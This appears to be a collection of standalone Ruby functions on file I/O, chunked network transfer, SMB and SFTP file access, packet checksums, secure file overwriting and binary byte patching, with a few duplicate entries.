"def receive_data requestIncoming\r\n # ltodo time these conns out, esp. if I receive nothing\r\n close_connection && return if @blockManager.already_finalized\r\n file, host, port, startByte, endByte, type, fullUrl = TCPSocketConnectionAware.parseHTTPRequest(requestIncoming) # assume it's a request\r\n if !file\r\n debug \"Unable to parse request [#{requestIncoming}] -- giving up. Thread count #{@parent_server_wrapper.aliveServerObjects.length}\"\r\n close_connection # I must presume this terminates us :)\r\n end\r\n \r\n if file != @blockManager.urlFileName\r\n fullUrl = \"http://#{host}:#{port}#{file}\" # ltodo look into this--is this necessary?\r\n if @parent_server_wrapper.serveAnyRequest and file and host and port\r\n error \"within the fake server got request for url #{fullUrl} (not current/starting #{@blockManager.urlFileName}) continuing==possibly in error!\" # ltodo\r\n else\r\n error \"got request for generically WRONG FILE (or bad HTTP request)-- kicking out early their requested file #{file}, is not #{@blockManager.urlFileName} request #{requestIncoming} TURFING\"\r\n close_connection\r\n return\r\n end\r\n end \r\n \r\n if !startByte \r\n assert !endByte\r\n startByte = 0\r\n debug \"guessing full file start #{startByte} end #{endByte} request for whole file\"\r\n end\r\n endByte ||= @blockManager.wholeFileSize - 1\r\n assert startByte <= endByte\r\n log \"got #{type} request for file #{file} port #{port} startByte #{startByte} endByte #{endByte}\"\r\n header = TCPSocketConnectionAware.createReturnHeader(startByte, endByte, getWholeFileSize())\r\n assert header.length > 0\r\n send_data header\r\n debug \"wrote reply header length #{header.length} for type #{type}\"\r\n if type == \"HEAD\" # then we're done\r\n @received_head_request = true\r\n debug \"wrote head of file size #{getWholeFileSize()}! -- closing!\"\r\n close_connection_after_writing\r\n return\r\n end\r\n @received_data_request = true\r\n how_often_check_queue_in_seconds = 0.15#S\r\n chunkSize = 4_000_000*how_often_check_queue_in_seconds # 4 MB/S max empirically this is only like 1.5MB/s serving speed\r\n if @speedLimitPerConnectionBytesPerSecond\r\n how_often_check_queue_in_seconds = 1\r\n chunkSize = [@speedLimitPerConnectionBytesPerSecond, chunkSize].min\r\n end\r\n debug \"using chunkSize #{chunkSize} every #{how_often_check_queue_in_seconds}s\"\r\n nextByteToSendWithinRequest = startByte\r\n @dropped_me = false\r\n send_proc = proc { ||\r\n if @dropped_me\r\n return # never send again :)\r\n end \r\n if @parent_server_wrapper.serverShouldStop\r\n debug \"not sending any more-- parent said we should stop!\" # ltodo cancel these, too, so we don't get weird late logging messages\r\n return\r\n end\r\n assert nextByteToSendWithinRequest <= (endByte + 1)\r\n return if nextByteToSendWithinRequest == endByte + 1\r\n outbound_queue = get_outbound_data_size\r\n debug \"outbound size is #{outbound_queue}\" # ltodo make this have its own call\r\n if outbound_queue > chunkSize/2\r\n debug \"not sending anymore for now\"\r\n return\r\n else\r\n debug \"sending more\"\r\n end\r\n start_send_time = Time.now\r\n lastByteWithinChunk = [endByte, nextByteToSendWithinRequest + chunkSize - 1].min\r\n \r\n nextToWrite = @blockManager.getBytesToReturnToPeerIncludingEndByte(nextByteToSendWithinRequest, lastByteWithinChunk) # hmmm. So the case is that if we don't have any bytes yet downloaded, we'll return as few as we now have, which means ever x sec's, we'll check again to see if there is more to write. ltodo optimize with the 'blank' endings\r\n send_data(nextToWrite)\r\n log \"just successfully queued #{nextToWrite.length}B #{nextByteToSendWithinRequest } -> #{nextByteToSendWithinRequest + nextToWrite.length} out of #{endByte} in #{Time.now - start_send_time}s\"\r\n nextByteToSendWithinRequest += nextToWrite.length\r\n if nextByteToSendWithinRequest == endByte + 1\r\n debug \"done queueing all -- instructing it to close after writing\"\r\n @sender_proc_wrapper.cancel\r\n @queued_all = true\r\n close_connection_after_writing\r\n end\r\n }\r\n #queued_proc = create_proc_that_runs_only_when_outbound_queue_gets_below(5, send_proc) # run when it falls below X\r\n @sender_proc_wrapper = EventMachine::PeriodicTimer.new(how_often_check_queue_in_seconds, send_proc)\r\n send_proc.call # call it once early and fast!\r\n end",
"def fstat(handle, flags=nil)\n send_request(FXP_FSTAT, :string, handle)\n end",
"def handleDownloadFileRequest(req)\n begin\n length = File.size(req.path)\n # There is a possible race condition here. If we get the file size, and then\n # start sending bytes, and a writer is still writing to the end of the file\n # we will write too few bytes. As well if the file shrinks, we won't write enough\n # bytes and the reader will wait forever. Could solve this using a marker at the\n # end of the stream instead of prefixing with the length.\n io = File.open(req.path, \"r\")\n StreamMessage.new(length, io)\n rescue\n StreamMessage.new(0, nil)\n end\n end",
"def free(fs = ?/.freeze)\n\t\t\t\ts = stat_raw(fs)\n\t\t\t\treturn nil if s.empty?\n\t\t\t\ts.default = 0\n\t\t\t\ts[:block_size] * s[:block_free]\n\t\t\tend",
"def main\n # Arguments base to be use for reference\n args = {:hash_function => 1,:compare => false, :debugmode => false, :samefolder => false, :hash => nil, :file => nil, :output_file => nil}\n # Options to be parsed\n opt = OptionParser.new\n opt.banner = \"Checksum handler; Usage: checksum.rb <options> FILE\"\n opt.on(\"-c\", \"--compare HASH/HASHDB\", \"Set the mode to compare an input hash with the FILE or to compare all hashes of the with all file inside it\") do |value|\n args[:compare] = value\n end\n opt.on('-v', '--verbose', 'Verbose mode ON') do\n args[:debugmode] = true\n end\n opt.on('-s', '--same-folder', 'Change the target file path to ./ as this script was working in the same folder; useful shareable files') do\n args[:samefolder] = true\n end\n opt.on(\"-o\", \"--output-file FILENAME\", \"Output file for the checksum (csv)\") do |value|\n args[:output_file] = value\n end\n opt.on('-5', \"--md5\", \"Use MD5 algorithm\") do\n args[:hash_function] = 5\n end\n opt.on('-1', '--sha1', 'Use SHA1 algorithm (Set by default)') do\n args[:hash_function] = 1\n end\n opt.on('-2', '--sha2 BITSLENGTH', 'Use SHA2 algorithm with your specific bit lenth can be 256, 384 or 512') do |bit_size|\n # SHA2 can have different bit sizes like 224, 256, 384, 512\n if [256, 384, 512].find bit_size.to_i\n args[:bit_size] = bit_size.to_i\n end\n args[:hash_function] = 2\n end\n opt.on('-h', '--help') do\n puts opt\n return\n end.parse!\n # Get the FILE variable\n args[:file] = ARGV.pop\n # When no target is specified\n unless args[:file]\n # iif compare mode isn't enabled\n unless args[:compare]\n puts opt\n end\n\n end\n begin\n # If the mode is set to compare\n if args[:compare]\n compare_hashes_handler args[:compare], args[:file], args[:hash_function], args[:bit_size]\n else\n # Get check sum from file\n checksum_handler args[:file], args[:output_file], args[:hash_function], args[:bit_size],args[:debugmode], args[:samefolder]\n end\n rescue => error\n # For debugging\n puts error\n # Print options\n puts opt\n end\nend",
"def read!(handle, offset, length, &callback)\n wait_for(read(handle, offset, length, &callback), :data)\n end",
"def send_chunk(data)\n response.write('%x' % data.size + \"\\r\\n\")\n response.write(data + \"\\r\\n\")\n end",
"def patch_file(uid, input, info = {})\n grid_info = files_collection.find(filename: uid).first\n current_length = grid_info[:length]\n chunk_size = grid_info[:chunkSize]\n bytes_saved = 0\n\n # It's possible that the previous data append didn't fill in the last\n # GridFS chunk completely, so we fill in that gap now before creating\n # new GridFS chunks.\n bytes_saved += patch_last_chunk(input, grid_info) if current_length % chunk_size != 0\n\n # Create an Enumerator which yields chunks of input data which have the\n # size of the configured :chunkSize of the GridFS file.\n chunks_enumerator = Enumerator.new do |yielder|\n while (data = input.read(chunk_size))\n yielder << data\n end\n end\n\n chunks_in_batch = (BATCH_SIZE.to_f / chunk_size).ceil\n chunks_offset = chunks_collection.count(files_id: grid_info[:_id]) - 1\n\n # Iterate in batches of data chunks and bulk-insert new GridFS chunks.\n # This way we try to have a balance between bulking inserts and keeping\n # memory usage low.\n chunks_enumerator.each_slice(chunks_in_batch) do |chunks|\n grid_chunks = chunks.map do |data|\n Mongo::Grid::File::Chunk.new(\n data: BSON::Binary.new(data),\n files_id: grid_info[:_id],\n n: chunks_offset += 1,\n )\n end\n\n chunks_collection.insert_many(grid_chunks)\n\n # Update the total length and refresh the upload date on each update,\n # which are used in #get_file, #concatenate and #expire_files.\n files_collection.find(filename: uid).update_one(\n \"$inc\" => { length: chunks.map(&:bytesize).inject(0, :+) },\n \"$set\" => { uploadDate: Time.now.utc },\n )\n bytes_saved += chunks.map(&:bytesize).inject(0, :+)\n\n chunks.each(&:clear) # deallocate strings\n end\n\n bytes_saved\n end",
"def read(length = nil, offset = 0)\n if (length == nil)\n data = ''\n fptr = offset\n ok = self.client.read(self.file_id, fptr, self.chunk_size)\n while (ok and ok['Payload'].v['DataLenLow'] > 0)\n buff = ok.to_s.slice(\n ok['Payload'].v['DataOffset'] + 4,\n ok['Payload'].v['DataLenLow']\n )\n data << buff\n if ok['Payload'].v['Remaining'] == 0\n break\n end\n fptr += ok['Payload'].v['DataLenLow']\n\n begin\n ok = self.client.read(self.file_id, fptr, self.chunk_size)\n rescue XCEPT::ErrorCode => e\n case e.error_code\n when 0x00050001\n # Novell fires off an access denied error on EOF\n ok = nil\n else\n raise e\n end\n end\n end\n\n return data\n else\n ok = self.client.read(self.file_id, offset, length)\n data = ok.to_s.slice(\n ok['Payload'].v['DataOffset'] + 4,\n ok['Payload'].v['DataLenLow']\n )\n return data\n end\n end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def checksum\n end",
"def checksum\n fil_header[:checksum]\n end",
"def send_file_full(req_path, request, response,mime_type=\"image/png\", header_only=false )\n\t return send_file_xsendfile(request, response,req_path, mime_type)\n\tend",
"def send_body_proc(socket)\n if @request_method == \"HEAD\"\n # do nothing\n elsif chunked?\n @body.call(ChunkedWrapper.new(socket, self))\n _write_data(socket, \"0#{CRLF}#{CRLF}\")\n else\n size = @header['content-length'].to_i\n @body.call(socket) # TODO: StreamWrapper which supports offset, size\n @sent_size = size\n end\n end",
"def read_stream(chunksize_hint, &block)\r\n IO.popen(@command, \"r\") do |ios|\r\n while bytes = ios.read(chunksize_hint)\r\n block.call(bytes)\r\n end\r\n end\r\n end",
"def addDataToBlock(blockNumber, data, offset, shouldReportToDHT)\r\n assert @numBlocks > blockNumber\r\n blockToUse = @allBlocks[blockNumber]\r\n assert blockToUse\r\n return 0 if blockToUse.done?\r\n amountWritten = blockToUse.addToMe(data, offset)\r\n # not necessarily true if we write 'over' half of something assert amountWritten == data.length\r\n @totalBytesWritten += amountWritten\r\n if blockToUse.done? and shouldReportToDHT\r\n assert !blockToUse.alreadyReportedDoneToDHT\r\n blockToUse.alreadyReportedDoneToDHT = true\r\n @logger.log \"BM next reporting block #{blockNumber} done for #{localIP}:#{@p2pServerPort}\"\r\n blockToUse.set_block_done_in_dht\r\n end\r\n amountWritten\r\n end",
"def att_xfer endpoint, &block\n application \"att_xfer\", endpoint, &block\n end",
"def write(data, offset = 0)\n # Track our offset into the remote file\n fptr = offset\n\n # Duplicate the data so we can use slice!\n data = data.dup\n\n # Take our first chunk of bytes\n chunk = data.slice!(0, self.chunk_size)\n\n # Keep writing data until we run out\n while (chunk.length > 0)\n ok = self.client.write(self.file_id, fptr, chunk)\n cl = ok['Payload'].v['CountLow']\n\n # Partial write, push the failed data back into the queue\n if (cl != chunk.length)\n data = chunk.slice(cl - 1, chunk.length - cl) + data\n end\n\n # Increment our painter and grab the next chunk\n fptr += cl\n chunk = data.slice!(0, self.chunk_size)\n end\n end",
"def build_block_header(type, size, last)\n begin\n bit_string = sprintf(\"%b%7b\", last, type).gsub(\" \",\"0\")\n block_header_s = [bit_string].pack(\"B*\")\n block_header_s += [size].pack(\"VX\").reverse # size is 3 bytes\n rescue\n raise FlacInfoWriteError, \"error building block header\"\n end\n end",
"def send_file_xsendfile(request, response,path, mime_type)\n\t\n\t#Calculate etag, not sure if needed, perhaps apache does this already\n\tstat = File.stat(path)\n # Set the last modified times as well and etag for all files\n\tmtime = stat.mtime\n # Calculated the same as apache, not sure how well the works on win32\n\tetag = ETAG_FORMAT % [mtime.to_i, stat.size, stat.ino]\n\n modified_since = request.env[HTTP_IF_MODIFIED_SINCE]\n\tnone_match = request.env[HTTP_IF_NONE_MATCH]\n\n # test to see if this is a conditional request, and test if\n\t # the response would be identical to the last response\n\t # Not sure whats going on here - stole from mongrels dir handler, which probibly does everything correctly..\n same_response = case\n when modified_since && !last_response_time = Time.httpdate(modified_since) rescue nil then false\n when modified_since && last_response_time > Time.now then false\n when modified_since && mtime > last_response_time then false\n when none_match && none_match == '*' then false\n when none_match && !none_match.strip.split(/\\s*,\\s*/).include?(etag) then false\n else modified_since || none_match # validation successful if we get this far and at least one of the header exists\n end\n\n\tif same_response\n\t response.status = 304\n\telse\n\t #Status?\n\t response.header[ETAG] = etag\n\t response.header[\"X-Sendfile\"] = path\n\t response.headers[CONTENT_TYPE] = mime_type\n\t response.headers[CONTENT_LENGTH] = \"0\"\n\tend\n\t \n\tresponse.body = []\n\t\n\treturn stat.size\n end",
"def total(fs = ?/.freeze)\n\t\t\t\ts = stat_raw(fs)\n\t\t\t\treturn nil if s.empty?\n\t\t\t\ts.default = 0\n\t\t\t\ts[:block_size] * s[:blocks]\n\t\t\tend",
"def patch(filename, mode)\r\n f = open(filename, 'rb')\r\n f.seek(0, 2) # start from EOF\r\n tail = '' # the remaining part not dealt with in the last block, which ends with a \"\\x2a\"\r\n last = 0 # the length of content when reading for the last time\r\n loop do\r\n begin\r\n f.seek(-BUF_SIZE, 1)\r\n d = f.read(BUF_SIZE) + tail\r\n ind = d.index(\"\\x2a\")\r\n if ind.nil?\r\n tail = ''\r\n else\r\n tail = d[0, ind+1] # the new `tail'\r\n d = d[ind+1..-1]\r\n end\r\n rescue Errno::EINVAL # reach the beginning of the file\r\n last = f.tell\r\n f.rewind\r\n d = f.read(last) + tail\r\n end\r\n pos = f.tell # current position\r\n offset = d.rindex(/\\xdc\\x12\\x07\\x28....\\x07\\x0a[\\x06\\x17]\\x2a/)\r\n unless offset.nil?\r\n @total[0] += 1\r\n puts \"\\n\\e[4m#{filename}\\e[0m\"\r\n offset2 = ind+offset+11-BUF_SIZE\r\n if d[offset+10,2] == \"\\x17\\x2a\"\r\n print \"\\e[1;33mPatched Pattern\\e[0m [dc 12 07 28 .. .. .. .. 07 0a \\e[7m17\\e[0m 2a] \\e[1;33mfound at offset 0x#{(pos+offset2).to_s(16)}\\e[0m \"\r\n else\r\n print \"\\e[1;32mPattern to be patched\\e[0m [dc 12 07 28 .. .. .. .. 07 0a \\e[7m06\\e[0m 2a] \\e[1;32mfound at offset 0x#{(pos+offset2).to_s(16)}\\e[0m \"\r\n end\r\n tempMode = mode\r\n if mode == 'A'\r\n print \"\\nChoose the \\e[4m[P]atch\\e[0m or \\e[4m[R]estore\\e[0m mode: \"\r\n print(tempMode = `choice /T 10 /C PR /D P /N`.chomp.upcase)\r\n end\r\n if d[offset+10,2] == \"\\x17\\x2a\"\r\n if tempMode == 'R'\r\n f2 = open(filename, 'r+b')\r\n f2.seek(pos+offset2, 0)\r\n f2.write(\"\\x06\")\r\n f2.close\r\n puts \"\\e[1;33m: Restored.\\e[0m\"\r\n @total[2] += 1\r\n else\r\n puts \": Ignored.\"\r\n @total[3] += 1\r\n end\r\n else\r\n if tempMode == 'R'\r\n puts \": Ignored.\"\r\n @total[3] += 1\r\n else\r\n f2 = open(filename, 'r+b') # write separately\r\n f2.seek(pos+offset2, 0)\r\n f2.write(\"\\x17\")\r\n f2.close\r\n puts \"\\e[1;32m: Patched.\\e[0m\"\r\n @total[1] += 1\r\n end\r\n end\r\n last = -1 # elicit `break'\r\n break\r\n end\r\n break unless last.zero?\r\n f.seek(-BUF_SIZE, 1)\r\n end\r\n # puts \"\\e[1;31mNo pattern found.\\e[0m No operation taken.\" if last >= 0\r\n f.close\r\nrescue # error\r\n puts \"\\e[1;31mError occurred:\"\r\n @total[4] += 1\r\n puts $!.inspect; puts [email protected]\r\n print \"\\e[0m\"\r\nend",
"def checksums; end",
"def compute_checksum\n pseudo = []\n pseudo << ((((self.version << 4) | self.hlen) << 8) | self.tos)\n pseudo << self.len\n pseudo << self.id\n pseudo << ((self.flags << 13) | self.foffset)\n pseudo << ((self.ttl << 8) | self.protocol)\n pseudo << 0 \n pseudo << L3::Misc.ipv42long(self.src_ip)\n pseudo << L3::Misc.ipv42long(self.dst_ip)\n L3::Misc.checksum(pseudo.pack(\"nnnnnnNN\"))\n end",
"def unblock!(handle, offset, length, &callback)\n wait_for(unblock(handle, offset, length, &callback))\n end",
"def calc_checksum\n sum = ip_header(self).pseudo_header_checksum\n sum += self.sz\n sum += IP_PROTOCOL\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def request(params=Hash.new, &result_cbk)\n\n cmd = params.delete :cmd\n prefix = params.delete :prefix\n cont = params.delete :cont\n offset = params.delete :offset\n len = params.delete :len\n\n if cont.is_a? String\n cont=request_string(cont)\n elsif cont.is_a? Integer\n cont=request_int(cont)\n end\n raise ArgumentError, \":cont should be an Enumerable\" if !cont.nil? and !cont.is_a? Enumerable\n if len.nil?\n len=(cont.nil?) ? 0 : cont.length\n end\n\n offset||=0\n\n\n if (!cont.nil?)\n raise \":cont shouldn't contain anything but Fixnum\" if cont.any? {|v| !v.is_a? Fixnum}\n if (offset>=cont.length)\n cont=nil;len=0\n elsif (len>cont.length-offset)\n len=cont.length-offset\n end\n end\n offset=0 if offset<0\n len=0 if len<0\n contlen=(cont.nil?) ? 0 : len\n contlen+=prefix.length if (!prefix.nil? and prefix.length>0)\n\n hdr=Array.new(16)\n set_int(cmd,hdr,0)\n set_int(contlen,hdr,4);\n 8.upto(15) {|i| hdr[i]=0}\n if (cmd!=-1)\n io.write(hdr.pack(\"C*\"))\n if (!prefix.nil? && prefix.length>0)\n io.write(prefix.pack(\"C*\"))\n debug \"SEND PREFIX #{prefix}\"\n end\n if (!cont.nil? and cont.length>0)\n debug \"SEND CONTENT #{cont.slice(offset, len)} (#{offset},#{len})\"\n io.write(cont.slice(offset, len).pack(\"C*\"))\n end\n end\n\n io.on_recv(16) do |chunk|\n #\"Expecting 16 bytes...\" if $DEBUG\n ih = chunk.unpack(\"C*\")\n if (ih.length != 16)\n debug \"Received #{ih.length} of expected 16.\"\n result_cbk.call(nil)\n return\n end\n debug \"Answer: #{ih.to_s}\"\n\n rep=get_int(ih, 0);\n rl =get_int(ih,4);\n\n debug \"rep: #{rep} #{rep.class} #{rep & 0x00FFFFFF}\"\n debug \"rl: #{rl} #{rl.class}\"\n\n if (rl>0)\n ct=Array.new();\n io.on_recv(rl) do |chunk|\n ct = chunk.unpack(\"C*\")\n debug \"ct: #{ct.size}\"\n result_cbk.call(Rserve::Packet.new(rep, ct))\n end\n else\n result_cbk.call(Rserve::Packet.new(rep, nil))\n end\n end\n end",
"def checksum sequence_number\n Digest::MD5.hexdigest(@buffer[sequence_number])\n end",
"def def_block_size\n 16384\n end",
"def checksum\n return nil if @window_bits < 0\n @inflater.closed? ? @checksum : @inflater.adler\n end",
"def recursive_checksum(_path, hash_class, _bit_size, file_object, debugmode, samefolder)\n begin\n # When the file is a directory be recursive\n if File.directory? _path\n # Object to hand the directory\n directory_object = Dir.open _path\n base_path = File.expand_path _path\n # Process all files in directory\n directory_object.each_child do |child|\n # Child to be processed\n child_path = File.join base_path, child\n\n recursive_checksum child_path, hash_class, _bit_size,file_object, debugmode, samefolder\n end\n else\n # path to be used\n if samefolder\n # use ./ for base example ./filename.txt\n file_path = _path.sub(samefolder, './')\n else\n # use complete path to file\n file_path = File.expand_path _path\n end\n # When it is aa file write directly to file_object or print it\n content = \"#{file_path},#{checksum _path, hash_class, _bit_size}\"\n # Debug mode prints every file hash\n if debugmode\n puts content\n end\n # If the user use -o to output\n if file_object\n file_object.write \"#{content}\\n\"\n end\n end\n rescue\n nil\n end\n\nend",
"def sub_chunks(data_offset: 0, sub_chunk_size_length: @size_length, sub_chunk_header_size: @header_size, sub_chunks_format: @chunks_format, warnings: @warnings, debug: @debug, &callback)\n data_size = self.size\n data_size > 0 ? Riffola.read(@file_name,\n offset: @offset + 4 + @size_length + @header_size + data_offset,\n chunks_format: sub_chunks_format,\n max_size: data_size - data_offset,\n parent_chunk: self,\n warnings: @warnings,\n debug: @debug,\n &callback\n ) : []\n end",
"def ftruncate(ctx,path,offset,ffi)\n\n return wrap_context(ctx,__method__,path,offset,ffi) if ctx\n\n fh = ffi.fh\n\n if fh.raw\n @root.raw_truncate(path,offset,fh.raw)\n if (offset <= 0)\n fh.contents = \"\"\n else\n fh.contents = fh.contents[0..offset]\n end\n end\n end",
"def exchange(send_bytes, response_nbytes )\n @response = []\n @sp.rts = 0\n @sp.dtr = 0\n @sp.dtr = 1\n begin\n x = @sp.readbyte #should get an ETX after toggling the DTR\n raise Weather_exception, \"Bad packet: No ETX\" if x != ETX\n\n @sp.write(send_bytes)\n @sp.flush()\n x = @sp.readbyte #should get an ETX after toggling the DTR\n raise Weather_exception, \"Bad packet: No STX\" if x != STX\n\n length = @sp.readbyte\n STDERR.puts \"Length = #{length}\"\n\n i = 1\n escaped = false\n begin\n x = @sp.readbyte\n if length > 0\n STDERR.print \"#{i}: #{\"%02X\" % x} \"\n i += 1\n if x == ENQ\n escaped = true\n elsif escaped\n case x\n when DC2; @response << STX\n when DC3; @response << ETX\n when NAK; @response << ENQ\n else @response << x\n end\n escaped = false\n length -= 1\n else\n @response << x\n length -= 1\n end\n elsif length == 0\n @checksum = x\n length = -1\n raise Weather_exception, \"Checksum Error #{\"%02X\"%x}\" if x != checksum(@response)\n elsif x != ETX\n raise Weather_exception, \"Missing ETX\"\n end\n end while x != ETX\n\n # not available <STX 02h> <01h> <NAK 15h> <0E8h> <ETX 03h>\n if @response[0] == NAK #Got a NAK packet\n raise Weather_exception, \"Comms Error\"\n end\n ensure\n @sp.dtr = 0\n STDERR.puts\n end\n end",
"def with_address offset = 0\n @ec.with_ref(@reg, @base + (offset * size)) do |reg|\n yield reg\n end\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def override_data(filename, size)\n def override_with_pattern(filename, size, pattern)\n i = pattern.cycle unless pattern.instance_of? Proc\n\n File.open(filename, \"wb\") do |f|\n size.times do\n if pattern.instance_of? Proc\n c = pattern.call\n else\n c = i.next\n end\n\n f.write [ c ].pack(\"C\")\n end\n end\n end\n\n 4.times { override_with_pattern(filename, size, Proc.new { SecureRandom.random_number(256) } ) }\n\n override_with_pattern(filename, size, [ 0x55 ] )\n override_with_pattern(filename, size, [ 0xAA ] )\n override_with_pattern(filename, size, [ 0x92, 0x49, 0x24 ] )\n override_with_pattern(filename, size, [ 0x49, 0x24, 0x92 ] )\n override_with_pattern(filename, size, [ 0x24, 0x92, 0x49 ] )\n override_with_pattern(filename, size, [ 0x00 ] )\n override_with_pattern(filename, size, [ 0x11 ] )\n override_with_pattern(filename, size, [ 0x22 ] )\n override_with_pattern(filename, size, [ 0x33 ] )\n override_with_pattern(filename, size, [ 0x44 ] )\n override_with_pattern(filename, size, [ 0x55 ] )\n override_with_pattern(filename, size, [ 0x66 ] )\n override_with_pattern(filename, size, [ 0x77 ] )\n override_with_pattern(filename, size, [ 0x88 ] )\n override_with_pattern(filename, size, [ 0x99 ] )\n override_with_pattern(filename, size, [ 0xAA ] )\n override_with_pattern(filename, size, [ 0xBB ] )\n override_with_pattern(filename, size, [ 0xCC ] )\n override_with_pattern(filename, size, [ 0xDD ] )\n override_with_pattern(filename, size, [ 0xEE ] )\n override_with_pattern(filename, size, [ 0xFF ] )\n override_with_pattern(filename, size, [ 0x92, 0x49, 0x24 ] )\n override_with_pattern(filename, size, [ 0x49, 0x24, 0x92 ] )\n override_with_pattern(filename, size, [ 0x24, 0x92, 0x49 ] )\n override_with_pattern(filename, size, [ 0x6D, 0xB6, 0xDB ] )\n override_with_pattern(filename, size, [ 0xB6, 0xDB, 0x6D ] )\n override_with_pattern(filename, size, [ 0xDB, 0x6D, 0xB6 ] )\n\n 4.times { override_with_pattern(filename, size, Proc.new { SecureRandom.random_number(256) } ) }\n end",
"def readpartial(length = nil)\n raise StateError, \"already closed\" if @closed\n\n if @inflater.total_out == @length\n # Leftover data\n @reader.finish_object(@inflater.finish)\n @closed = true\n return\n end\n\n chunk = @reader.readpartial(length)\n data = @inflater.inflate(chunk)\n @sha1.update(data)\n\n data\n end",
"def validate_checksum\n raise Puppet::Error.new \"Inconsistent checksums. Checksum of fetched file is #{calculated_checksum}. You specified #{specified_checksum}\" if calculated_checksum != specified_checksum\n end",
"def upload_block(uri, msg)\n base64_blockid = Base64.encode64(SecureRandom.uuid)\n request_id = SecureRandom.uuid\n append_uri = URI.parse(\"#{uri.to_s}&comp=block&blockid=#{base64_blockid}\")\n\n put_block_req = create_blob_put_request(append_uri, msg, request_id, nil)\n http = OMS::Common.create_secure_http(append_uri, @proxy_config)\n OMS::Common.start_request(put_block_req, http)\n\n return base64_blockid\n end",
"def fstat!(handle, flags=nil, &callback)\n wait_for(fstat(handle, flags, &callback), :attrs)\n end",
"def run\n begin\n yield @first_line if block_given?\n while (size = File::Stat.new(@filename).size) >= @next_start\n size = @file.stat.size\n reset_buffer_size\n begin\n line = \"\"\n @file.seek(@next_start, File::SEEK_SET)\n @file.read(@buf_size, @buffer)\n buffer_start = @next_start\n found_new_line = false\n 0.upto(@buffer.size - 1) do |index|\n line << @buffer[index]\n if @buffer[index].chr == \"\\n\"\n yield(line) if block_given?\n line = \"\"\n found_new_line = true\n @next_start = buffer_start + index + 1\n end\n end\n unless found_new_line || @buffer.empty?\n raise BufferError\n end\n rescue BufferError\n increment_buffer_size\n retry\n end\n\t sleep 0.01\n end\n rescue Errno::ENOENT\n # Wait until the file is recreated\n while !File.exists?(@filename)\n sleep 0.05\n end\n end\n end",
"def send_body_proc(socket)\n if @request_method == \"HEAD\"\n # do nothing\n elsif chunked?\n @body.call(ChunkedWrapper.new(socket, self))\n _write_data(socket, \"0#{CRLF}#{CRLF}\")\n else\n size = @header['content-length'].to_i\n @body.call(socket) # TODO: StreamWrapper which supports offset, size\n @sent_size = size\n end\n socket.flush\n end",
"def handleDownloadFileRequest(req)\n $logger.debug \"handleDownloadFileRequest called\"\n begin\n # Make sure we don't download files outside of the data dir\n return StreamMessage.new(0, nil) if ! pathIsUnderDataDir(req.path)\n\n length = File.size(req.path)\n # There is a possible race condition here. If we get the file size, and then\n # start sending bytes, and a writer is still writing to the end of the file\n # we will write too few bytes. As well if the file shrinks, we won't write enough\n # bytes and the reader will wait forever. Could solve this using a marker at the\n # end of the stream instead of prefixing with the length.\n io = File.open(req.path, \"r\")\n StreamMessage.new(length, io)\n rescue\n StreamMessage.new(0, nil)\n end\n end",
"def data_stream(size=-1,offset=0,headers = {},&block)\n if size.to_i > 0\n range = sprintf(\"bytes=%d-%d\", offset.to_i, (offset.to_i + size.to_i) - 1)\n headers['Range'] = range\n end\n self.container.connection.cfreq(\"GET\",@storagehost,@storagepath,headers,nil) do |response|\n raise NoSuchObjectException, \"Object #{@name} does not exist\" unless (response.code == \"200\")\n response.read_body(&block)\n end\n end",
"def notify_blob_upload_complete(uri, data_type, custom_data_type, offset_blob_size, sent_size, etag)\n data_type_id = data_type\n if !custom_data_type.nil?\n data_type_id = \"#{data_type}.#{custom_data_type}\"\n end\n\n # Remove SAS token from the URL\n uri.fragment = uri.query = nil\n\n data = {\n \"DataType\" => \"BLOB_UPLOAD_NOTIFICATION\",\n \"IPName\" => \"\",\n \"DataItems\" => [\n {\n \"BlobUrl\" => uri.to_s,\n \"OriginalDataTypeId\" => data_type_id,\n \"StartOffset\" => offset_blob_size,\n \"FileSize\" => (offset_blob_size + sent_size),\n \"Etag\" => etag\n }\n ]\n }\n\n req = OMS::Common.create_ods_request(OMS::Configuration.notify_blob_ods_endpoint.path, data, compress=false)\n\n ods_http = OMS::Common.create_ods_http(OMS::Configuration.notify_blob_ods_endpoint, @proxy_config)\n body = OMS::Common.start_request(req, ods_http)\n end",
"def calc_checksum\n c0 = c1 = 0\n to_s[2..].unpack('C*').each do |byte|\n c0 += byte\n c1 += c0\n end\n c0 %= 255\n c1 %= 255\n\n x = ((sz - 17) * c0 - c1) % 255\n x += 255 if x <= 0\n y = 255 * 2 - c0 - x\n y -= 255 if y > 255\n self.checksum = (x << 8) | y\n end",
"def gbn_server(filename, socket)\n ip, port = socket.remote_address.ip_unpack\n\n # Break file into an array of strings of length <= GBN_DATA_MAX_SIZE\n file = []\n File.open(filename) do |f|\n while !f.eof?\n file << f.read(GBN_DATA_MAX_SIZE)\n end\n end\n\n seq_base = 0\n seq_max = file.length - 1\n last_received = Time.now\n while true\n \n # Receive\n begin\n received = socket.recv_nonblock(4) # 32 bit number\n req_num = received.unpack(GBN_PACK_CLIENT).first\n last_received = Time.now\n if req_num > seq_base\n log_puts(ip, port, 1, \"Received ACK for #{req_num}/#{seq_max}; moving window up...\")\n seq_base = req_num\n else\n log_puts(ip, port, 1, \"Received ACK for #{req_num}/#{seq_max}; keeping window at #{seq_base}...\")\n end\n \n if seq_base == seq_max\n log_puts(ip, port, 0, 'Received ACK for EOF; closing socket...')\n break\n end\n rescue\n if Time.now - last_received > TIMEOUT\n log_puts(ip, port, 0, 'Timed out...')\n break\n end\n end\n\n # Send\n begin\n GBN_WINDOW_SIZE.times do |n|\n if (seq_send = seq_base + n) <= seq_max\n chunk = [seq_send, file[seq_send]].pack(GBN_PACK_SERVER)\n log_puts(ip, port, 2, \"Sending \\\"#{chunk}\\\"\")\n else # we're at the end, send the blank packet\n chunk = [seq_send, ''].pack(GBN_PACK_SERVER)\n log_puts(ip, port, 2, 'Sending EOF...')\n end\n socket.send(chunk, 0)\n end\n rescue\n # Do nothing\n end\n end\n socket.close\nend",
